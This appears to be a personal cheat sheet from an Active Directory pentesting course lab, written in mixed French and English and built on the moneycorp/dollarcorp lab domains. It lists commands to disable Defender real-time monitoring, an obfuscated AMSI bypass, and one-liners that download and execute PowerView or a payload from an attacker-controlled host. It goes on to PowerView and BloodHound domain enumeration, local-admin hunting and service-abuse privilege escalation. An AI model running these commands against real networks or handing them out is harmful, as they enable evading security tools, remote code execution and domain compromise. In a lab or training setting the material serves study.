Système de Purge des secrets des domaines

Introduction à Active Directory Enumération

Départ ➔➔➔

########### LAngue et bypasse ########### ########### ########### ###########

1-
```
Set-WinUserLanguageList -LanguageList fr-FR
```

```
Set-MpPreference -DisableRealtimeMonitoring $true
```

```
powershell –ExecutionPolicy bypass ou powershell -ep bypass
```

unzip tools

```
Expand-Archive -Path .\Tools.zip -DestinationPath  C:\Users\mous\Documents\Tools
```

2- AMSI bypass

```
sET-ItEM ( 'V'+'aR' +  'IA' + 'blE:1q2'  + 'uZx'  ) ( [TYpE](  "{1}{0}"-F'F','rE'  ) )  ;    (    GeT-VariaBle  ( "1Q2U"  +"zX"  )  -VaL  )."A`ss`Embly"."GET`TY`Pe"((  "{6}{3}{1}{4}{2}{0}{5}" -f'Util','A','Amsi','.Management.','utomation.','s','System'  ) )."g`etf`iElD"(  ( "{0}{2}{1}" -f'amsi','d','InitFaile' ),(  "{2}{4}{0}{1}{3}" -f 'Stat','i','NonPubli','c','c,'  ))."sE`T`VaLUE"(  ${n`ULl},${t`RuE} )
```

Depuis le C2 partage python depuis la kali python partage je fais mon partage et la victime récupère le script

```
iex (iwr http://172.16.100.138:9999/PowerView.ps1 -UseBasicParsing)
```

```
iex (iwr http://10.10.1.130:8000/payload.ps1 -UseBasicParsing)
```

########### Domain Enumération Trusts ########### ########### ########### ########### ###########

Natife en .NET

```
$ADClass =[System.DirectoryServices.ActiveDirectory.Domain]

$ADClass::GetCurrentDomain()

whoami /fqdn

whoami /all

gwmi Win32_ComputerSystem| %{$_.DNSHostName + '.' + $_.Domain}
```

Ou avec PowerView:

```
Get-NetForestDomain -Verbose

Get-NetDomainTrust

Get-NetDomainController –Domain moneycorp.local

Get-NetForestDomain -Verbose | Get-NetDomainTrust |?{$_.TrustType -eq 'External'}

Get-NetForestDomain -Forest eurocorp.local -Verbose | Get-NetDomainTrust

 Get-ObjectAcl -SamAccountName "users" -ResolveGUIDs -Verbose

 Get-ObjectAcl -SamAccountName "Domain Admins" -ResolveGUIDs -Verbose

 Get-NetForestDomain -Verbose

 Get-NetDomainTrust
```

########### Domain Enumeration list of users ##################################

```
. .\PowerUp.ps1

Get-NetUser

Get-NetUser –Username student1

Get-UserProperty

Get-UserProperty –Properties pwdlastset
```

########### Domain Enumeration list of Computer & Group ###########################

```
Get-NetComputer

Get-NetComputer –OperatingSystem "*Server 2016*"

Get-NetComputer -Ping
```

```
Get-NetComputer -FullData

Get-NetGroup

Get-NetGroup –Domain <targetdomain>

Get-NetGroup –FullData

Get-NetLocalGroup -ComputerName dcorp-dc.dollarcorp.moneycorp.local -ListGroups

Get-NetLocalGroup -ComputerName dcorp-dc.dollarcorp.moneycorp.local -Recurse
```

###################### Domain Admins group ######################

```
Get-NetGroupMember -GroupName "Domain Admins" -Recurse

Get-NetGroup –UserName "student1"
```

###################### logged users ######################

Needs local admin rights

```
Get-NetLoggedon –ComputerName <servername>

Get-LoggedonLocal -ComputerName dcorp-dc.dollarcorp.moneycorp.local

Get-LastLoggedOn –ComputerName <servername>
```

###################### Find shares ######################

```
Invoke-ShareFinder –Verbose

Invoke-FileFinder –Verbose

Get-NetFileServer  –Verbose
```

###################### GPO Enumeration ######################

```
Get-NetGPO

Get-NetGPO -ComputerName dcorpstudent1.dollarcorp.moneycorp.local
```

```
Find-GPOComputerAdmin –Computername dcorpstudent1.dollarcorp.moneycorp.local

Find-GPOLocation -UserName student1 -Verbose


###################### OU Enumeration ######################

Get-NetOU -FullData
```

Get GPO applied on an OU. Read GPOname from gplink attribute from Get-NetOU

```
Get-NetGPO -GPOname "{AB306569-220D-43FF-B03B-83E8F4EF8081}"


###################### ACL Enumeration ######################
```

EXplication

{Access Control List (ACL)

• It is a list of Access Control Entries (ACE) – ACE corresponds to individual

permission or audits access. Who has permission and what can be done

on an object?

• Two types:

– DACL – Defines the permissions trustees (a user or group) have on an object.

– SACL – Logs success and failure audit messages when an object is accessed.}

Enumeration -ACL

```
Get-ObjectAcl -SamAccountName student1 –ResolveGUIDs

Get-ObjectAcl -ADSprefix 'CN=Administrator,CN=Users' -Verbose

Get-ObjectAcl -ADSpath "LDAP://CN=Domain Admins,CN=Users,DC=dollarcorp,DC=moneycorp,DC=local" -ResolveGUIDs -Verbose

Invoke-ACLScanner -ResolveGUIDs

Get-PathAcl -Path "\\dcorp-dc.dollarcorp.moneycorp.local\sysvol"
```

```
########### ########### ########### Domain Enumeration  ########### ###########

Get-NetDomainTrust

Get-NetDomainTrust –Domain us.dollarcorp.moneycorp.local

Get-NetForest

Get-NetForest –Forest eurocorp.local

Get-NetForestDomain

Get-NetForestDomain –Forest eurocorp.local

Get-NetForestCatalog

Get-NetForestCatalog –Forest eurocorp.local

Get-NetForestTrust

Get-NetForestTrust –Forest eurocorp.local


########### Find machines the current user has local admin access ###########

Find-LocalAdminAccess –Verbose

Invoke-EnumerateLocalAdmin –Verbose

Get-NetLocalGroup

Invoke-UserHunter

Invoke-UserHunter -CheckAccess

Invoke-UserHunter -GroupName "RDPUsers"

-----Find computers where a domain admin is logged-in------

Invoke-UserHunter -Stealth

Get-NetSession/Get-NetLoggedon


########### ########### ###################### Privilege-Escalade-Local ###########

PowerUp: ServiceAbuse

Invoke-AllChecks

Get-ServiceUnquoted
```

```
Get-ModifiableServiceFile -Verbose

Get-ModifiableService

Invoke-ServiceAbuse -Name 'AbyssWebServer' -UserName "dcorp\"

Enter-PSSession -ComputerName dcorp-adminsrv.dollarcorp.moneycorp.local
```

```
. .\Powerview.ps1

Find-LocalAdminAccess ================>  dcorp-adminsrv.dollarcorp.moneycorp.local

Enter-PSSession -ComputerName dcorp-adminsrv.dollarcorp.moneycorp.local
```

BeRoot:

```
.\beRoot.exe
```

– Privesc:

```
Invoke-PrivEsc
```

➔FIN

do ;➔

########### ########### BLoodHound ########### ########################### ########### ################

```
\neo4j-community-4.1.1-windows\neo4j-community-4.1.1\bin>neo4j.bat install-service

>neo4j.bat start
```

http://localhost:7474/browser/

neo4j/neo4j

```
cd C:\AD\tools\BloodHound-master\BloodHoundmaster\Ingestors\

.\SharpHound.ps1

Invoke-BloodHound -CollectionMethod All -Verbose

Invoke-BloodHound -CollectionMethod LoggedOn -Verbose
```

C:\AD\Tools\BloodHound-win32-x64\BloodHound-win32-x64 execute it